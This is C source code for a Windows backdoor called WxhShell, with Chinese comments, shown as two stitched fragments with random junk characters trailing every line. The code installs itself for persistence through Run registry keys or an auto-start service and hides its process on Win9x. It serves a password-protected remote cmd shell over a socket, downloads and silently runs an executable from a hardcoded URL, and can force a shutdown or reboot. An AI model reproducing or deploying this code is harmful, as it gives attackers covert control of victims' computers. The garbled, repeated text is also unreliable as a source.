    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t(p}0}Pp  
    else { V z-]H]MW,  
    closesocket(wsh); [}`-KpV!;  
    ExitThread(0); }s:~E2?In  
    } eDY)i9"W  
    break; G#j~8`3X  
    } 'mk_s4J  
  // 获取shell bVOJp% *s  
  case 's': { |f2 bb  
    CmdShell(wsh); LL+PAvMg  
    closesocket(wsh); UeU`U  
    ExitThread(0); F<J`1 :  
    break; &{gy{npQ  
  } - *v)sP"@  
  // 退出 q,>4#J[2;s  
  case 'x': { @bZ,)R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @|<qTci  
    CloseIt(wsh); _FkIg>s  
    break; f"t+r /d  
    } i0rh {Ko  
  // 离开 +!$]a^3l  
  case 'q': { "~L$oji  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dz1kQzOU*  
    closesocket(wsh); ))4RgS$  
    WSACleanup();  1t }  
    exit(1); "x O+  
    break; G rI<w.9X  
        } Pxf/*z  
  } q_Z6s5O  
  } LvNulMEK  
75;g|+  
  // 提示信息 Nf%/)Tk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AA0\C_W0p  
} z@v2t>@3k  
  }  VM<$!Aaz  
qO[_8's8  
  return; vGwpDu\RgX  
} +P<#6<gR  
^9 ^DA!'  
// shell模块句柄 {\gpXVrn_  
int CmdShell(SOCKET sock) gjk;An  
{ vsJM[$RF  
STARTUPINFO si; 7sU,<Z/D  
ZeroMemory(&si,sizeof(si)); {Mc;B9W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FT\%=>{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #]r'?GN  
PROCESS_INFORMATION ProcessInfo; U\-=|gQ'  
char cmdline[]="cmd"; p#6tKY;N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hz j%G>  
  return 0; cVl i^*se  
} ?X$*8;==6  
-|I_aOC@  
// 自身启动模式 h_6c9VI  
int StartFromService(void) pd-I^Q3-  
{ c^stfFE&  
typedef struct ydMSL25<+  
{ U04&z 91"  
  DWORD ExitStatus; W0<2*7s  
  DWORD PebBaseAddress; RLfB]\w  
  DWORD AffinityMask; >fzFNcO*  
  DWORD BasePriority; MqRJ:x  
  ULONG UniqueProcessId; D B(!*6#?  
  ULONG InheritedFromUniqueProcessId; v^B2etiX_  
}   PROCESS_BASIC_INFORMATION; ^O,r8K{1n  
9# #(B  
PROCNTQSIP NtQueryInformationProcess; a#a n+JY3  
5,?^SK|'x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B`:l;<&jX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f o idneus  
TQth"Cv2:  
  HANDLE             hProcess; cp6I]#X  
  PROCESS_BASIC_INFORMATION pbi; W&v|-#7=6  
0wt4C% .0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0cq<!{d  
  if(NULL == hInst ) return 0; &r2\P6J  
73JrK_h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b4 Pa5 w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #3?}MC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D# gC-,  
klnk{R.>|  
  if (!NtQueryInformationProcess) return 0; S|F:[(WaM  
6zI}?KZf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /7x1Z*Hg  
  if(!hProcess) return 0; gux?P2f  
Re*_Dt=r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y-{?0mLq  
?in)kL  
  CloseHandle(hProcess); h4Xz"i{z  
PJ\k|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *,28@_EwY  
if(hProcess==NULL) return 0; 6Ad=#MM  
L%+mD$@u  
HMODULE hMod; G&08Qb ,N  
char procName[255]; ZEso2|   
unsigned long cbNeeded; Hwcmt!y  
Dt(xj}[tC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3i~X`@$k>  
L3A2A  
  CloseHandle(hProcess); 'mZQ}U=<  
)iFXa<5h  
if(strstr(procName,"services")) return 1; // 以服务启动 O=6[/oc '  
"28zLo3  
  return 0; // 注册表启动 w~yC^`  
} sG\K$GP!  
sKk+^.K}|  
// 主模块 *K BaKS  
int StartWxhshell(LPSTR lpCmdLine) <v=s:^;C0  
{ p(nEcu  
  SOCKET wsl; .y lvJ$  
BOOL val=TRUE; >`p? CE  
  int port=0; :(@P *"j  
  struct sockaddr_in door; @8$z2  
o#=C[d5BV  
  if(wscfg.ws_autoins) Install(); v]Aop<KLX  
v7\rW{~Jd&  
port=atoi(lpCmdLine); wD4[UU?  
2$v8{Y&  
if(port<=0) port=wscfg.ws_port; EWr7eH  
 0T^ 0)c  
  WSADATA data; )?pnV":2Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UmY{2 nzY  
Ks<+@.DLTu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E^$8nqCL:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =- ,'LOE  
  door.sin_family = AF_INET; =T\=,B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }kP<zvAaw  
  door.sin_port = htons(port); V7.g,  
u:mndTpB6x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M93*"jA  
closesocket(wsl); G4&?O_\;  
return 1; U`5/tNx  
} \>G}DGz  
t#3 _M=L  
  if(listen(wsl,2) == INVALID_SOCKET) { |* ^LsuFb  
closesocket(wsl); [A~ Hl  
return 1; dMCoN8W  
} bwj{5-FU  
  Wxhshell(wsl); (.X)=  
  WSACleanup(); 1 b 86@f   
aOS,%J^ ?  
return 0; uB#U( jl  
[ D.%v~j  
} C!ch !E#  
}r@yBUW  
// 以NT服务方式启动 r-yUWIr S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `'&mO9,<-  
{ TiF+rA{t  
DWORD   status = 0; 3+(lKd  
  DWORD   specificError = 0xfffffff; #<Lv&-U<KT  
-*i_8`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E AZX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e<*qaUI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F-oe49p5e  
  serviceStatus.dwWin32ExitCode     = 0; >\w]i*%  
  serviceStatus.dwServiceSpecificExitCode = 0; vB}c6A4'U  
  serviceStatus.dwCheckPoint       = 0; Ow.DBL)x'>  
  serviceStatus.dwWaitHint       = 0; r/HTkXs I  
/|<S D.:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V)l:fUm2  
  if (hServiceStatusHandle==0) return; `*BV@  
6q>}M  
status = GetLastError(); &9|L Z9K  
  if (status!=NO_ERROR) S[zGA<}  
{ d4*SfzB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ' QMcQvU  
    serviceStatus.dwCheckPoint       = 0; u&^KrOM@#  
    serviceStatus.dwWaitHint       = 0; '&dT   
    serviceStatus.dwWin32ExitCode     = status; "j8)l4}  
    serviceStatus.dwServiceSpecificExitCode = specificError; O"Nr$bS(Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RRV%g!  
    return; k!}(a0h  
  } 8A.7q  
EmR82^_:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \$*CXjh3G  
  serviceStatus.dwCheckPoint       = 0; t$wbwP  
  serviceStatus.dwWaitHint       = 0; r-TrA$k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =&,T@5&-=  
} 4d cm)Xr  
E}v8Q~A(  
// 处理NT服务事件,比如:启动、停止 } Z FoCMM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *YL86R+U  
{ '4<o&b^yQ  
switch(fdwControl) %ut 8/T  
{ |R _rfJh  
case SERVICE_CONTROL_STOP: Tjq1[Wq  
  serviceStatus.dwWin32ExitCode = 0; 3Ovx)qKxd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,[zSz8R  
  serviceStatus.dwCheckPoint   = 0; ;Q^>F6+_m  
  serviceStatus.dwWaitHint     = 0; BxjSo^n  
  { RL/y7M1j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2l+L96  
  } d}':7Np  
  return; MP)Prl>  
case SERVICE_CONTROL_PAUSE: kfZ`|w@q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kLF`6ZXtd  
  break; [rWBVfm  
case SERVICE_CONTROL_CONTINUE: ;?tH8jf>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K) fKL   
  break; @j_o CDS  
case SERVICE_CONTROL_INTERROGATE: h7^&:  
  break; U|V,&RlbR  
}; l`ZL^uT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .P aDR |!  
} mL2J  
:PW"7|c!  
// 标准应用程序主函数 $!MP0f\q g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s_XCKhN:  
{ `Wg"m~l$N  
_,)_(R ,h  
// 获取操作系统版本 E+qLj|IU  
OsIsNt=GetOsVer(); lZL+j6Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W"\}##  
6j XDLI  
  // 从命令行安装 'z AvQm  
  if(strpbrk(lpCmdLine,"iI")) Install(); =eUKpYI  
5X=1a*2']  
  // 下载执行文件 Zk((VZ(y  
if(wscfg.ws_downexe) { GEF's#YWK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j?m(l,YD|*  
  WinExec(wscfg.ws_filenam,SW_HIDE); yRyXlZC  
} grzmW4Cw  
<)wLxWalF  
if(!OsIsNt) { dGm%If9P  
// 如果时win9x,隐藏进程并且设置为注册表启动 $f0u  
HideProc(); 19qH WU^0V  
StartWxhshell(lpCmdLine); Pz{MYw  
} 4KtD  k  
else oI/_WY[t  
  if(StartFromService()) ][jwy-Uy;  
  // 以服务方式启动 ;_c&J&I  
  StartServiceCtrlDispatcher(DispatchTable); =VzJ>!0  
else os"R'GYmf  
  // 普通方式启动 Qe>_\-f  
  StartWxhshell(lpCmdLine); VsL,t\67  
G\dPGPPM  
return 0; i/+^C($'f  
} Os'E7;:1h  
//BJaWq  
[|oG}'Xz  
1C{0 R.  
=========================================== C/Tk`C&  
N=Ct3  
`e<IO_cg  
JX&]>#6|E  
m;l[flQ~  
_>\33V-?b  
" j0}wv~\  
R9R~$@~G  
#include <stdio.h> mMwV5\(  
#include <string.h> pI-Qq%Nwt  
#include <windows.h> U1y!R<qlp  
#include <winsock2.h> bWp:!w#K  
#include <winsvc.h> W ,6q1  
#include <urlmon.h> iv_3R}IbX  
JI]Lz1i  
#pragma comment (lib, "Ws2_32.lib") 9!n95  
#pragma comment (lib, "urlmon.lib") Es7 c2YdU  
!~9ASpqvPy  
#define MAX_USER   100 // 最大客户端连接数 O=7S=Rm4&  
#define BUF_SOCK   200 // sock buffer 3WF]%P%  
#define KEY_BUFF   255 // 输入 buffer 0.x+ H9z  
e8("G[P >  
#define REBOOT     0   // 重启 Z,2?TT|p  
#define SHUTDOWN   1   // 关机 \#]%S/_ A  
Mb2a;s  
#define DEF_PORT   5000 // 监听端口 I F6$@Q  
8|)!E`TKSV  
#define REG_LEN     16   // 注册表键长度 g $Y]{VM.J  
#define SVC_LEN     80   // NT服务名长度 d.~ns4bt9  
J{dO0!7y  
// 从dll定义API Yc]k<tQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4)tY6ds)r|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jw}t~m3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [;,E cw^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fVgK6?<8^  
}Y.YJXum  
// wxhshell配置信息 T90O.]S  
struct WSCFG { pP":,8Q{  
  int ws_port;         // 监听端口 ^g6v#]&WA  
  char ws_passstr[REG_LEN]; // 口令 aSIb0`(3  
  int ws_autoins;       // 安装标记, 1=yes 0=no `oikSx$vB.  
  char ws_regname[REG_LEN]; // 注册表键名 }|| p#R@?  
  char ws_svcname[REG_LEN]; // 服务名 1/?Wa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vc|tp_M67  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W vB]Rs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6 :3Id  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e8 ]CB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ##Pzc~xSn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #M!$CGi (  
^-PYP:*  
}; "r@#3T$  
5}hQIO&^%  
// default Wxhshell configuration A+M4=  
struct WSCFG wscfg={DEF_PORT, /} PdO  
    "xuhuanlingzhe", m}?jU  
    1, #Y7iJPO  
    "Wxhshell", 4z5qXI/<m4  
    "Wxhshell", rhPv{6Z|7  
            "WxhShell Service", & n@hD7=(  
    "Wrsky Windows CmdShell Service", .jqil0#)Y"  
    "Please Input Your Password: ", ]I,&Bme  
  1, :j3'+% '2  
  "http://www.wrsky.com/wxhshell.exe", IrCl\HQN  
  "Wxhshell.exe" qpe9?`vVX  
    }; oQ]FyV  
Ry X11XU  
// 消息定义模块 *(yw6(9%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jW8ad{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8/R$}b><  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P{K\}+9F   
char *msg_ws_ext="\n\rExit."; u3 LoP_|  
char *msg_ws_end="\n\rQuit."; }GURq#  
char *msg_ws_boot="\n\rReboot..."; <Rw2F?S~)n  
char *msg_ws_poff="\n\rShutdown..."; kYkA^Aq  
char *msg_ws_down="\n\rSave to "; b*h:e.q  
o'$-  
char *msg_ws_err="\n\rErr!"; .jP|b~  
char *msg_ws_ok="\n\rOK!"; P??P"^hU  
Vbp@n  
char ExeFile[MAX_PATH]; }|Q\@3&  
int nUser = 0; kK}?NKqT  
HANDLE handles[MAX_USER]; Szu @{lpP@  
int OsIsNt; 8v4krz<Iq  
igTs[q=Ak  
SERVICE_STATUS       serviceStatus; ^E \4`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a] c03$fK  
,/p+#|>C=  
// 函数声明 Ou4hAm91s  
int Install(void); ,ov$` v  
int Uninstall(void); OjffN'a+N  
int DownloadFile(char *sURL, SOCKET wsh); $bMmyDw  
int Boot(int flag); dRzeHuF92  
void HideProc(void); SbUac<  
int GetOsVer(void); sqhIKw@  
int Wxhshell(SOCKET wsl); 63\ CE_p  
void TalkWithClient(void *cs); [g"nu0sOK  
int CmdShell(SOCKET sock); B=W#eu <1  
int StartFromService(void); 3'L =S  
int StartWxhshell(LPSTR lpCmdLine); :dipk,b?n  
mm#UaEp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |4/rVj"  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  rwSR  
P*;[&Nn4  
// 数据结构和表定义 9wfE^E1  
SERVICE_TABLE_ENTRY DispatchTable[] = &k*oG: J3  
{ ImB5F'HI$  
{wscfg.ws_svcname, NTServiceMain}, ^"lEa-g&  
{NULL, NULL} ^2BiMH3j  
}; E]vox~xK>  
S3HyB b  
// 自我安装 vD#kH 1  
int Install(void) voRb>xF  
{ g51UIN]o-  
  char svExeFile[MAX_PATH]; Zp{K_ec{  
  HKEY key; 9Ut eD@*  
  strcpy(svExeFile,ExeFile); <6.`(isph  
X^&--@l}T!  
// 如果是win9x系统,修改注册表设为自启动 R>Ox(MG  
if(!OsIsNt) { um/F:rp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [C-FJ>=S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GK6~~ga=  
  RegCloseKey(key); @||nd,i`n~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &QQ6F>'T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %b_0l<+  
  RegCloseKey(key); WaX!y$/z  
  return 0; Dby|l#X  
    } dlZ2iDQ%  
  } dhP")@3K;p  
} '?I3&lYz{  
else { Lf<urIF  
\L?A4Qx)_  
// 如果是NT以上系统,安装为系统服务 h~%8p ]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vY4}vHH2  
if (schSCManager!=0) \O~/^ Y3U!  
{ #d<"Ub  
  SC_HANDLE schService = CreateService 1\lZ&KX$i  
  ( <ir]bQT  
  schSCManager, By[M|4a  
  wscfg.ws_svcname, 5(1c?biP&  
  wscfg.ws_svcdisp, :>ca).cjac  
  SERVICE_ALL_ACCESS, ^u90N>Dvq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q3v5gz^t  
  SERVICE_AUTO_START, ntPX?/  
  SERVICE_ERROR_NORMAL, N2j^fZd_  
  svExeFile, WCqa[=v)t  
  NULL, _ A{F2M  
  NULL, !%(kMN  
  NULL, 9RS viIi$  
  NULL, EcytNYn  
  NULL -+2A@kmEJ  
  ); 4%<wxrod  
  if (schService!=0) G[`2Nd<  
  { PD^ 6Ywn>s  
  CloseServiceHandle(schService); /={N^8^=x  
  CloseServiceHandle(schSCManager); u^'X>n)oL#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +o,f:Ih  
  strcat(svExeFile,wscfg.ws_svcname); ]d{lS&PRlg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wzff p}V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "Il) _Ui  
  RegCloseKey(key); i;qij[W.z  
  return 0; u+6L>7t88I  
    } D^s#pOZS  
  } &>Z;>6J,  
  CloseServiceHandle(schSCManager); [\fwnS_1  
} E}0g  
} 1jBIi  
Xyz/CZPi  
return 1; 3;uLBuZOCN  
} ]i1OssV~>  
yP` K [/  
// 自我卸载 h~._R6y  
int Uninstall(void) I;?PDhDb  
{ Ms3GvPsgv  
  HKEY key; s6}SdmE  
X4'!:&  
if(!OsIsNt) { I 5ZDP|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &oZU=CN  
  RegDeleteValue(key,wscfg.ws_regname); F_/ra?WVH  
  RegCloseKey(key); 9@Cu5U]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eQ[}ALIq  
  RegDeleteValue(key,wscfg.ws_regname); ;jPiD`Kyv  
  RegCloseKey(key); f }.t  
  return 0; H|`D3z.c  
  } f\RTO63|O  
} "8a ?K Q  
} ~`$P-^u88X  
else { qrZ3`@C4k  
d|W=_7 z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,E%O_:}R  
if (schSCManager!=0) {C8IYBm  
{ pP"j|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8aM\B%NGWi  
  if (schService!=0) p*1 B *R  
  { R S>qP;V*-  
  if(DeleteService(schService)!=0) { rAqS;@]0  
  CloseServiceHandle(schService); N<Ym&$xR  
  CloseServiceHandle(schSCManager); "So "oT1  
  return 0; (?GW/pLK]  
  } 1BP/,d |+  
  CloseServiceHandle(schService); sS4V(:3s  
  } t -}IKrbv  
  CloseServiceHandle(schSCManager); z7P~SM  
} Qk|+Gj  
} J5<1 6}*  
KCp9P2kv.  
return 1; x",ktE>9  
} +T,A^(&t  
b53s@7/mq  
// 从指定url下载文件 :}#j-ZCC"  
int DownloadFile(char *sURL, SOCKET wsh) xDS]k]/(T  
{ Z@*!0~NH=4  
  HRESULT hr; *<"{(sAvk  
char seps[]= "/"; *p\fb7Pu_3  
char *token; !4Sd^"  
char *file; zITxJx  
char myURL[MAX_PATH]; /Ah'KN|EN  
char myFILE[MAX_PATH]; %z.d;[Hs  
DqmKD U  
strcpy(myURL,sURL); /+ais 3  
  token=strtok(myURL,seps); JFNjc:4{0  
  while(token!=NULL) !HhF*Rlr  
  { s%~Nx3,  
    file=token; 0~[M[T\  
  token=strtok(NULL,seps); 'V <ZmJ2  
  } Be^"sC  
B*tQ0`  
GetCurrentDirectory(MAX_PATH,myFILE); {F\P3-ub  
strcat(myFILE, "\\"); tehWGqx)  
strcat(myFILE, file); uc]5p(9Hb  
  send(wsh,myFILE,strlen(myFILE),0); d6??OO=~>M  
send(wsh,"...",3,0); A9J{>f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F,K))325  
  if(hr==S_OK) q['3M<q  
return 0; }5 $le]  
else Yn?Xo_Y  
return 1; U.I 7p  
4v{Ye,2  
} _)YB*z5  
U17=/E  
// 系统电源模块 Dk2Zl  
int Boot(int flag) ~,8#\]xR  
{ q@ wX=  
  HANDLE hToken; kK:Wr&X0H  
  TOKEN_PRIVILEGES tkp; &t!f dti  
. _Jypk8  
  if(OsIsNt) { cbzS7q<)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C}L2'l,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *&+zI$u(  
    tkp.PrivilegeCount = 1; WYcZD_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (hKjr1s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jzWgyI1b  
if(flag==REBOOT) { #~qza ETv,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fwUF5Y  
  return 0; $DnR[V}rR!  
} &wu1Zz[qcz  
else { Y$./!lVY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^\\9B-MvY  
  return 0; =`C K`x  
} #i.BOQxS  
  } gt~u/Z%  
  else { pQ4HX)<P  
if(flag==REBOOT) { ~[BGKq h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PB BJ.!Pb  
  return 0; CU*;>h1~u  
} } ,Dk6w$  
else { 9Gx`[{wI9<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ['iEw!  
  return 0; x[+bLlb  
} Ruwp"T}mF  
} zh(=kS `  
'9&@?P;  
return 1; <'hoN/g  
} L i 9$N"2  
N\?__WlBK7  
// win9x进程隐藏模块 0Xn,q]@Z  
void HideProc(void) pDhUD}1G  
{ ;DKJ#tS}"  
6Tm7|2R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )?LZg<<   
  if ( hKernel != NULL ) >dwWqcP  
  { Lso%1M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mW,b#'hy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Aq>?G+  
    FreeLibrary(hKernel); /h]ru SI  
  } Rz*GRe  
6 lEv<)cC  
return; vuJEPn%  
} AOV{@ b(  
_?I*:: I  
// 获取操作系统版本 34_ V&8  
int GetOsVer(void) <R_)[{ 7  
{ "%_T7 A ![  
  OSVERSIONINFO winfo; <w?k<%( 4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2l:cP2fa  
  GetVersionEx(&winfo); 6UqDpL7^U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 13Q87i5B  
  return 1; )N\B C  
  else /paZJ}Pr.  
  return 0; yGX5\PSo  
} uy<b5.!-  
GE !p  
// 客户端句柄模块 Wdj|RKw  
int Wxhshell(SOCKET wsl) l$R9c+L=  
{ 8;f5;7M n  
  SOCKET wsh; (rBYE[@,  
  struct sockaddr_in client; ~Ra8(KocD  
  DWORD myID; # |OA>[  
Q j|tD+<  
  while(nUser<MAX_USER) :C={Z}t/F  
{ E!L_"GW  
  int nSize=sizeof(client); S{{wcH$n'i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sx'eu;S  
  if(wsh==INVALID_SOCKET) return 1; s |o(~2j  
$Ny:At  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d(KK7SQg  
if(handles[nUser]==0) g+?2@L$L  
  closesocket(wsh); RfT)dS+rAh  
else Jq8v69fyQ  
  nUser++; $IdU  
  } @`iz0DPG?Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _|;{{8*?  
nD!t*P  
  return 0; Ev3,p`zS._  
} 4VC8#x1  
kD)]\   
// 关闭 socket :" JEC'  
void CloseIt(SOCKET wsh) =hI;5KF  
{ #GUD^#Jh  
closesocket(wsh); o/=61K8D  
nUser--; v(, tu/  
ExitThread(0); Wy /5Qw~s  
} ? Y luX  
2NB $(4/  
// 客户端请求句柄 - "{hP  
void TalkWithClient(void *cs) 3bQq Nk  
{ joNV4v"=`  
x<.(fRv   
  SOCKET wsh=(SOCKET)cs; K;>9K'n  
  char pwd[SVC_LEN]; [EK^0g   
  char cmd[KEY_BUFF]; 8~BLTZ  
char chr[1]; !:}m-iqQ1  
int i,j; e-VGJxR  
7=&+0@R#/d  
  while (nUser < MAX_USER) { ;*=7>"o'`  
%CUwD  
if(wscfg.ws_passstr) { =T)y(] ;M$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `L!L=.}4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :z%Zur+n c  
  //ZeroMemory(pwd,KEY_BUFF); $ P2*qpqy  
      i=0; tC.etoh  
  while(i<SVC_LEN) { !HeQMz  
2~ vvE  
  // 设置超时 +&E\w,Vq^  
  fd_set FdRead; p=|S %  
  struct timeval TimeOut; {]dvzoE]  
  FD_ZERO(&FdRead); "EE (O9q  
  FD_SET(wsh,&FdRead); 31QDN0o!~  
  TimeOut.tv_sec=8; ",aEN=+|hV  
  TimeOut.tv_usec=0; SQ'%a-Mct  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9 aKU}y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QB ;TQZ  
yf4 i!~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~3%aEj  
  pwd=chr[0]; TKVS%//  
  if(chr[0]==0xd || chr[0]==0xa) { aEun *V^,  
  pwd=0; . K_Jg$3  
  break; 1{1mL-I;  
  } ['3E'q,4&  
  i++; #nmh=G?\Sm  
    } !\'HKk~V  
xl,6O!aR  
  // 如果是非法用户,关闭 socket jzwHb'4B3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aN!,\D  
} ,kl``w|1M  
*)vy%\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R0|4KT-i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;hh.w??  
AOz~@i^  
while(1) { +4Q1s?`  
7;Vmbt9  
  ZeroMemory(cmd,KEY_BUFF); '?LqVzZI  
-<e_^  
      // 自动支持客户端 telnet标准   \!%~( FM  
  j=0; %MEWw  
  while(j<KEY_BUFF) { +"|TPKas  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <)"i'v $  
  cmd[j]=chr[0]; ^),;`YXZ  
  if(chr[0]==0xa || chr[0]==0xd) { _ x$\E  
  cmd[j]=0; }FX:sa?5  
  break; fUOQ(BGp  
  } HYZp= *eb  
  j++; S>Gb Jt(]  
    } d@tNlFfS  
Q!I><u  
  // 下载文件 j(M.7Z7^  
  if(strstr(cmd,"http://")) { Bw9O)++  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c4s,T"H  
  if(DownloadFile(cmd,wsh)) H;[?8h(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o>&-B.zq  
  else +6n\5+5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1O1MB&5%  
  }  RcZ&/MY  
  else { vYq"W%  
kovJ9  
